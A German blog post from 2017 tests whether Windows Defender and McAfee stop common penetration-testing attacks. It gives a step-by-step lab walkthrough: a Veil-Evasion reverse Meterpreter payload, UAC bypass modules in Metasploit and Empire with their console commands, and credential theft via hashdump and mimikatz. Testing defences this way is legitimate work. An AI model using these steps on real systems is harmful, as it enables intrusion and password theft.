Im diesem letzten Beitrag für das Jahr 2017 möchte ich nochmal untersuchen, ob eine Rechteeskalierung in den aktuellen Windows Betriebssystemen mittels der bekannten Penetration Testing Frameworks möglich ist. Gleichzeitig möchte ich prüfen, welchen Schutz Virenschutzprogramme gegen die einschlägigen Techniken bieten. Als „Versuchsobjekte“ habe ich Windows 10 mit dem integrierten Virenschutz „Windows Defender“ und Windows 7 mit „McAfee – Total Protection“ ausgewählt. Beide Betriebssysteme befinden sich auf den neusten Stand. Die Virenschutzdefinitionen habe ich vor dem Test aktualisiert.
Test 1: Windows 10 und Veil-Evasion
Veil-Evasion wurde in diesem Blog schon häufig genutzt, um den Virenschutz auf den Zielsystemen während der Penetrationstest zu überwinden. Es gestaltet sich oft aus Katz-und-Maus-Spiel. Die Entwickler bringen immer neue Techniken in ihre Frameworks ein, die von den Herstellern der Virenschutzsoftware früher oder später erkannt werden. In diesem Fall möchte ich mittels Veil-Evasion eine ausführbare Datei erstellen, die dann auf den „Opfer-PC“ hochgeladen und mit Nutzerrechten ausgeführt wird. Interessant ist, ob diese Datei vom Windows-Defender als schädlich erkannt wird und damit nicht zur Ausführung kommt.
Als Angriffssystem nutze ich Kali Linux und erstellen zunächst mit Veil den Schadcode. Dieser soll später eine Reverse-Verbindung vom Opfer zum Angreifer herstellen. Als Payload wähle ich python/meterpreter/rev_https (in diesem Fall die Option 27) aus.
Als Option LHOST wähle ich die IP-Adresse des Angriffssystems und als LPORT nutze ich 443. Mit dem Befehl generate erstelle ich die ausführbare Datei blue-pill.exe und die Metasploit Ressource Datei.
Die Datei blue-pill.exe wird auf dem Opfer-PC ohne Probleme ausgeführt. Scheinbar kann der Windows-Defender keine Schadfunktion ausmachen. Als Ergebnis wird ein Reverse-Verbindung zum PC des Angreifers (Session 1) hergestellt. Somit verfügen wir über Nutzerrechte auf dem Windows 10-PC.
Ziel ist es nun, administrative Rechte auf dem Opfer-PC zu erlangen. Dazu verfügt Metasploit bereits über diverse Module, die aber auch bei den Entwicklern der Virenschutzprogramme bekannt sein sollten. Ich wende dabei eine Technik an, über die ich bereits hier berichtet hatte.
Mittlerweile verfügt Metasploit über ein Modul, dass diese Schwäche von Windows ausnutzt. Wir rufen sie mit folgendem Befehl in der Metasploit Konsole auf:
use exploit/windows/local/bypassuac_fodhelper
Ich hier erweist sich der Schutz vom Windows-Defender als nicht effektiv. Als Ergebnis wird eine weitere Meterpreter-SESSION geöffnet, die über den Befehl getsystem eine Eskalation der Rechte zulässt. Schlussendlich verfügen wir über lokale Systemrechte auf dem Windows 10-PC. Um dies auszunutzen, versuchen wir mittels run hashdump an die, auf dem System hinterlegten, Passwort-Hashwerte zu gelangen.
Diese könnten wir nun für weitere Angriffe auf diesem oder anderen PCs im gleichen Netzwerk nutzen. Stichwort Pass-the-Hash.
Fazit: Mit dieser Technik ist es scheinbar immer noch möglich in Windows 10 einzudringen und die Rechte zu eskalieren. Der Windows-Defender bietet, aus meiner Sicht, gegen diesen Angriff keinen ausreichenden Schutz.
Test 2: Windows 7 mit McAfee „Total Protection“ und Veil-Evasion
Ich habe den oben beschriebenen Angriff auch auf den Windows 7-PC ausgeführt. Auch hier hatte das McAfee-Virenschutzprogramm die mit Veil-Evasion erstellte exe-Datei als vertrauenswürdig eingestuft. Folgerichtig konnte ich ebenfalls eine Reverse-Verbindung zum Angreifer herstellen.
Um die Rechte zu eskalieren habe ich alle, derzeit in Metasploit (freie Version) integrierten Module, eingesetzt. Das Virenschutzprogramm unterband aber jeglichen Versuch und stufte die erzeugten Dateien als schadhaft ein.
Fazit: Auch für die bekannten Virenschutzprogramme scheint es schwer zu sein, neu erstellte ausführbare Datei als Schadsoftware zu entlarven. Wer sich nur auf die Virendefinitionen diese Programme verlässt, hat schlechte Karten. Die Aktivitäten zur Rechteeskalation wurden aber durch den erweiterten Bedrohungsschutz erkannt und damit ein Angriff erfolgreich verhindert.
Test 3: Windows 7 mit McAfee „Total Protection“ und Empire-Framework
Das Empire Framework ist in der Lage, völlig unabhängig vom Metasploit-Framework zu arbeiten. Der geringere Bekanntheitsgrad könnte vielleicht eine Möglichkeit sein, unser Ziel trotz integriertem Virenschutz zu erreichen.
Als Angriffssystem wird in diesem Fall eine Ubuntu-Linux genutzt auf dem das Empire Framework in der Version 2.0 installiert ist.
Zuerst müssen wir im Empire-Framework einen Listener und einen sogenannten Launcher erstellen. Dazu führen wir folgende Kommandos auf der Oberfläche aus:
#Listener erstellen
listeners
use listener http
info
set Name Ubuntu1
execute
#Laucher erstellen
agents
usestager multi/launcher
info
set Listener Ubuntu1
set Outfile /home/setup.bat
execute
Da wir auch hier zunächst nur über Nutzerrechte verfügen, werden wir versuchen die Rechte zu eskalieren. Auch dafür stellt das Empire-Framework diverse Module bereit, die nur noch angewendet werden müssen. Der Befehl usemodule privesc/bypassuac scheint für unsere Zwecke genau der richtige zu sein. Als Option muss hier nur noch der Listener (in unserem Beispiel Ubuntu1) angegeben werden.
Führen wir dieses Modul aus, so wird auf dem Angriffssystem ein weiterer Agent erzeugt, der nun den Zugriff auf den Window7-PC mittels administrative Rechte ermöglicht. Um sie von den „herkömmlichen” Agenten besser zu unterscheiden, wird vor den Nutzernamen (siehe Spalte Username) ein Stern (*) gesetzt.
Um auch hier die gelungene Rechteeskalation zu testen, werden wir nun versuchen die gespeicherten Passwörter in Klartext auszulesen. Auch hier verfügt Empire über das passende Modul (cretentials/mimikatz/logonpasswords).
Ist alles erfolgreich verlaufen, so sollten wir nun über das Logon-Passwort in Klartext verfügen.
Fazit: Hier scheint es unglücklicherweise so zu sein, dass das installierte Virenschutzprogramm von McAfee keine Aktivitäten als schadhaft anzieht. Auch der erweiterte Bedrohungsschutz, der die Eskalierung der Rechte mittels Metasploit noch erfolgreich verhindert hatte, greift hier nicht.
Insgesamt lässt sich schlussfolgern, dass Virenschutzprogramme auf Windows-Systemen grundsätzlich zu empfehlen sind, aber keinen 100-prozentigen Schutz, gerade vor neuen Bedrohungen, bieten.
Nach nachfolgende Video zeigt die Durchführung und Ergebnisse des Tests.